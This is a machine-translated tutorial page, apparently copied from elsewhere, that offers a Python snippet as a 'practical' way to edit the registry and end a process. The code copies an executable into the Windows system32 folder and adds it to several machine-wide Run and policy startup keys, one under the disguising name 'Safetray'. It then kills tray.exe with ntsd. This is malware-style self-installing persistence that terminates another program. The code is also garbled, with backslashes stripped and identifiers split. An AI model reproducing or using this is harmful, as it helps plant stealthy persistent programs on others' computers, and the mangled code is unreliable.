Python modifies the registry to terminate the process instance

Source: Internet
Author: User
This article describes how to modify the registry of python to terminate the process instance. it is a very practical process operation technique, for more information about how to modify the registry and terminate the process in python, see the following example. Share it with you for your reference.


The specific implementation code is as follows:


Import _ winregimport osimport shutil copy your own shutil.copyfile(k3.exe, c: WINDOWSsystem32K3.exe) # Change to its own run = _ winreg. openKey (_ winreg. HKEY_LOCAL_MACHINE, "SOFTWAREMicrosoftWindowsCurrentVersionRun", 0, _ winreg. KEY_WRITE) _ winreg. setValueEx (run, "Safetray", 0, _ winreg. REG_SZ, r "C: WINDOWSsystem32k3.exe") # add self-starting self = _ winreg. openKey (_ winreg. HKEY_LOCAL_MACHINE, "SOFTWAREMicrosoftWindowsCurrentVersionRun", 0, _ winreg. KEY_WRITE) _ winreg. setValueEx (run, "k3", 0, _ winreg. REG_SZ, r "C: WINDOWSsystem32k3.exe") # Add all users to start allrun = _ winreg. openKey (_ winreg. HKEY_LOCAL_MACHINE, "MicrosoftWindowsCurrentVersionpoliciesExplorerRun", 0, _ winreg. KEY_WRITE) _ winreg. setValueEx (allrun, "k3", 0, _ winreg. REG_SZ, r "C: WINDOWSsystem32k3.exe") # terminate the process OS. popen ("ntsd-c q-pn tray.exe cmd ")


I hope this article will help you with Python programming.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.